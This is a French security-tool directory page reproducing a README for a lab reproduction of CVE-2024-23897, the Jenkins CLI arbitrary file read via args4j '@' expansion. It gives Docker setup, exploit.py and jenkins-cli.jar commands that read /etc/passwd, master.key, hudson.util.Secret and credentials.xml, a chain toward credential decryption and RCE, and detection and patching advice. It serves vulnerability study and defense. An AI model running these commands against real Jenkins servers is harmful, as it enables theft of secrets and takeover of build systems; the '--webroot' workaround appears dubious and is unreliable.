Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2024-23897-jenkins_lfi_reproduction — Reproduction de cve-2024-23897-jenkins_lfi_reproduction | Kitploit
Outils/GitHubGitHub/razureink/cve-2024-23897-jenkins_lfi_reproduction
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubrazureink/cve-2024-23897-jenkins_lfi_reproduction

cve-2024-23897-jenkins_lfi_reproduction

Reproduction de cve-2024-23897-jenkins_lfi_reproduction

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 27 joursPas encore vérifié

CVE-2024-23897 — Vulnérabilité de lecture arbitraire de fichiers dans le CLI Jenkins

CVSS 9.8 (CRITIQUE) — Activement exploitée dans la nature


Vue d'ensemble

CVE-2024-23897 est une vulnérabilité critique de lecture arbitraire de fichiers dans l'interface en ligne de commande (CLI) de Jenkins. Le CLI Jenkins utilise la bibliothèque args4j pour analyser les arguments des commandes. Cette bibliothèque développe le caractère @ suivi d'un chemin de fichier (@/path/to/file) en lisant le contenu de ce fichier et en l'injectant comme arguments. Un attaquant non authentifié peut exploiter ce comportement pour lire des fichiers arbitraires sur le système de fichiers du contrôleur Jenkins, sans nécessiter aucune authentification.

Combinée à l'extraction de credentials.xml, des secrets ou de master.key, cette vulnérabilité peut conduire à la compromission complète du serveur (RCE).


Détails techniques

L'expansion du caractère @ dans args4j

La bibliothèque args4j (utilisée par l'analyseur de commandes CLI de Jenkins) implémente une fonctionnalité de commodité : lorsqu'un argument commence par @, elle traite le reste de l'argument comme un chemin de fichier, lit le contenu du fichier et le divise en plusieurs arguments. Cela était destiné à permettre de passer de grandes listes d'arguments via des fichiers.

Exemple : java -jar jenkins-cli.jar who-am-i @/etc/passwd amènerait args4j à lire /etc/passwd et à utiliser son contenu comme arguments pour la commande who-am-i.

Étant donné que certaines commandes CLI (comme connect-node) renvoient ou incluent les valeurs des arguments dans les messages d'erreur ou les réponses, un attaquant peut observer le contenu des fichiers dans la réponse du CLI.

Le déroulement de l'attaque

  1. L'attaquant se connecte au port CLI Jenkins (par défaut : 50000, ou au point de terminaison HTTP du CLI)
  2. L'attaquant envoie une commande CLI avec un argument comme @/etc/passwd
  3. L'analyseur args4j de Jenkins lit le fichier et le développe en arguments
  4. La commande CLI traite ces arguments et le contenu du fichier est divulgué dans la réponse ou le message d'erreur
  5. L'attaquant extrait des fichiers sensibles pour élever ses privilèges

Pourquoi c'est critique

  • Aucune authentification requise — Le port CLI est accessible sans aucun identifiant
  • Aucune condition préalable — Aucune permission spéciale ni fonctionnalité Jenkins ne doit être activée
  • Impact généralisé — Des dizaines de milliers d'instances Jenkins exposées
  • Élévation de privilèges — La lecture de secrets/master.key permet le déchiffrement des identifiants et une RCE

Versions concernées

ProduitAffectéesCorrigées
Jenkins (weekly)≤ 2.4412.442
Jenkins LTS≤ 2.426.22.426.3
Jenkins LTS (previous)≤ 2.414.22.414.3

Remarque : Toutes les versions de Jenkins antérieures aux correctifs listés ci-dessus sont vulnérables. La fonctionnalité CLI existe dans Jenkins depuis de nombreuses années, donc les versions plus anciennes sont également affectées même si elles ne sont pas listées explicitement.


Étapes de reproduction

Configuration de l'environnement

  1. Exécuter une instance Jenkins vulnérable avec Docker :

    root@kitploit:~
    docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk11
    

    Notez le mot de passe administrateur initial dans les journaux du conteneur.

  2. Vérifier que le port CLI est ouvert :

    root@kitploit:~
    # Jenkins CLI port (TCP 50000) should be listening
    # Or you can use the HTTP CLI endpoint at /cli/
    
  3. Installer Python 3.8+ avec les dépendances requises :

    root@kitploit:~
    pip install requests
    

Reproduction via le PoC Python

root@kitploit:~
# Basic file read test — read /etc/passwd
python exploit.py --target http://localhost:8080 --file /etc/passwd

# Read Jenkins secrets (escalation path)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Étapes de reproduction manuelles (avec jenkins-cli.jar)

root@kitploit:~
# Download the Jenkins CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

# Read /etc/passwd via the CLI
java -jar jenkins-cli.jar -s http://localhost:8080 who-am-i @/etc/passwd 2>&1

# Read Jenkins secrets
java -jar jenkins-cli.jar -s http://localhost:8080 connect-node @/var/jenkins_home/secrets/master.key 2>&1

Résultat attendu

Le contenu des fichiers apparaît dans la réponse du CLI ou dans la sortie d'erreur. Par exemple, la lecture de /etc/passwd renverrait les entrées du fichier de mots de passe du système.


Preuve de concept (PoC) — Chaîne d'exploitation complète

Étape 1 : Énumérer l'environnement Jenkins

root@kitploit:~
# Read config to understand the environment
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/config.xml

# Read users and permissions
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/users/users.xml

Étape 2 : Extraire les secrets pour une RCE

root@kitploit:~
# Extract master key (used to encrypt credentials)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/master.key

# Extract the hudson.util.Secret key
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/secrets/hudson.util.Secret

# Extract credentials (encrypted)
python exploit.py --target http://localhost:8080 --file /var/jenkins_home/credentials.xml

Étape 3 : Déchiffrer les identifiants et obtenir une RCE

Avec master.key et hudson.util.Secret, vous pouvez déchiffrer les identifiants Jenkins à l'aide d'outils comme jenkins_decrypt.py ou du script decrypt.py des références CVE-2024-23897. Les identifiants déchiffrés (clés SSH, jetons API, clés de fournisseurs cloud) peuvent ensuite être utilisés pour obtenir une exécution de code à distance sur les nœuds connectés et les environnements cloud.


Atténuation

Correctif immédiat

Détection

Recherchez dans les journaux d'accès ou les journaux d'audit CLI les arguments contenant @ suivi de chemins de fichiers :

root@kitploit:~
# grep for suspicious CLI access
grep -r "@/" /var/log/jenkins/access.log

# Check for CLI connections from unexpected IPs
grep "CLI" /var/log/jenkins/jenkins.log | grep -v "127.0.0.1"

Solution de contournement (si le correctif ne peut pas être appliqué)

Si l'application immédiate du correctif n'est pas possible, désactivez le port CLI en définissant l'option --webroot ou en bloquant le port 50000. Cependant, notez que le point de terminaison HTTP du CLI (/cli/) dans l'interface web peut toujours être exploitable, donc l'application du correctif est fortement recommandée.


Références

  • Jenkins Security Advisory 2024-01-24
  • Fiche NVD — CVE-2024-23897
  • Fiche NVD — CVE-2024-23898 (DoS du CLI associé)
  • Documentation de la bibliothèque args4j sur l'expansion @file
  • Catalogue CISA des vulnérabilités connues exploitées

Avertissement

Ce dépôt est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. L'exploitation non autorisée de cette vulnérabilité est illégale. Les auteurs ne sont pas responsables de toute mauvaise utilisation de ces informations. Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.

Télécharger l’outil
ActionDétails
Mettre à jour JenkinsMettre à niveau vers Jenkins 2.442+ ou LTS 2.426.3+ / 2.414.3+
Désactiver le port CLIBloquer le port TCP 50000 au niveau du pare-feu s'il n'est pas nécessaire
Restreindre l'accès réseauLimiter l'accès au port CLI Jenkins aux seuls réseaux de confiance
Activer l'authentificationS'assurer que Jenkins exige une authentification pour tout accès
Surveiller les journauxRechercher les commandes CLI avec des arguments @ dans les journaux d'accès